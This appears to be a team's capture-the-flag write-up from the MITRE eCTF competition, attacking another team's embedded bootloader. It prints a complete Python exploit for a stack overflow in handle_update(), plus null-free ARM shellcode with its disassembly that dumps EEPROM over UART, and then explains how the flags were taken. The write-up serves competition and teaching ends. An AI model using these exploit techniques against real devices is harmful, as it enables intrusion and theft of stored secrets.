# MITRE eCTF: The Ohio State University Attacking University at Buffalo

## Arbitrary code execution

The bug is in `handle_update()` in `bootloader.c`:

// Receive release message
rel_msg_size = uart_readline(HOST_UART, rel_msg) + 1; // Include terminator

`uart_readline()` will continue to read data until a null byte or newline is encountered, allowing us to write unlimited data to the stack.

Two other issues that aid in exploitation are:
- Memory protections are disabled
- The firmware release message is not authenticated nor encrypted

To gain arbitrary code execution, we can:
- Send shellcode in the release message, which gets written to flash
- Overwrite the return address on the stack and jump to our shellcode in flash

> We initially tried jumping to the shellcode in SRAM, but since SRAM adresses are of the form `0x2000????`, which contains a null byte, we were not able to do so.

Out script is shown below:

import subprocess
import pwn

with open("firmware/fw_v0.prot", "rb") as f:
    fw = f.read()

shellcode = bytes.fromhex("684681ea010182ea020202f2ff3202f2014247f694630ff2060e0ef1030e9f4644f244424fea02724cf2010121f0ff0142ea01010846694682ea020202f2ff3202f2014247f2e4239f46")

payload = shellcode
payload += pwn.cyclic((1024 + 24) - len(payload))

shellcode_addr = 0x2B408  # Address of the release message in flash
payload += pwn.p32(shellcode_addr + 1)

orig_release_message = b"Debug firmware version 0"
fw = fw.replace(orig_release_message, payload)

with open("firmware/fw_v0_exploit.prot", "wb") as f:
    f.write(fw)

# Modify the `fw-update` command to read 2048 bytes of data afterwards, which
# is the device's EEPROM

cmd = """python3 tools/run_saffire.py fw-update \
--sysname saffire-phys \
--fw-root firmware/ \
--uart-sock 1339 \
--protected-fw-file fw_v0_exploit.prot
"""
subprocess.run(cmd, shell=True)

## The shellcode disassembled and explained

The goal of our shellcode is to read EEPROM data and send it back to us over uart.

0x0000000000000000:  68 46          mov   r0, sp
0x0000000000000002:  81 EA 01 01    eor.w r1, r1, r1
0x0000000000000006:  82 EA 02 02    eor.w r2, r2, r2
0x000000000000000a:  02 F2 FF 32    addw  r2, r2, #0x3ff
0x000000000000000e:  02 F2 01 42    addw  r2, r2, #0x401
0x0000000000000012:  47 F6 94 63    movw  r3, #0x7e94
0x0000000000000016:  0F F2 06 0E    addw  lr, pc, #6
0x000000000000001a:  0E F1 03 0E    add.w lr, lr, #3
0x000000000000001e:  9F 46          mov   pc, r3
0x0000000000000020:  44 F2 44 42    movw  r2, #0x4444
0x0000000000000024:  4F EA 02 72    lsl.w r2, r2, #0x1c
0x0000000000000028:  4C F2 01 01    movw  r1, #0xc001
0x000000000000002c:  21 F0 FF 01    bic   r1, r1, #0xff
0x0000000000000030:  42 EA 01 01    orr.w r1, r2, r1
0x0000000000000034:  08 46          mov   r0, r1
0x0000000000000036:  69 46          mov   r1, sp
0x0000000000000038:  82 EA 02 02    eor.w r2, r2, r2
0x000000000000003c:  02 F2 FF 32    addw  r2, r2, #0x3ff
0x0000000000000040:  02 F2 01 42    addw  r2, r2, #0x401
0x0000000000000044:  47 F2 E4 23    movw  r3, #0x72e4
0x0000000000000048:  9F 46          mov   pc, r3

This shellcode makes a call to `EEPromRead` (at 0x7e94), followed by a call to `uart_write` (at 0x72e4). It was difficult to remove all of the null bytes from the shellcode. For example, we could not use regular indirect branch wth `lr` instructions (`blr x3`) since they contain a null byte. Instead, we manually set `lr` and then do the jump using `mov pc, r3`. We also have to obfuscate constants that would otherwise have a null byte in them (e.g. 0x800). The sequence is equivalent to:

EEPromRead(<stack address>, 0, 0x800)
uart_write(0x4000c000, <stack address>, 0x800)

## Getting the flags

After dumping EEPROM from the device, getting the flags was relatively straightforward.
- IP Extraction: Use the device's symmetric key to decrypt the firmware.
- Flight Extraction: Use the device's symmetric key to decrypt the configuration.
- Firmware Rollback: We reversed the decrypted firmware and found that it XOR's the fake flag with a string in EEPROM, giving us the real flag.
- Data Extraction: This flag was dumped from EEPROM.
- Flight Abort: We changed one of the airpoint names in the decrypted `cfg0.bin`, protected it, and loaded it onto the device. This caused the flight to abort.
- Aircraft Crash: We took the firmware we created for the second reverse engineering, protected it, and loaded it on to the device. This caused the aircraft to crash.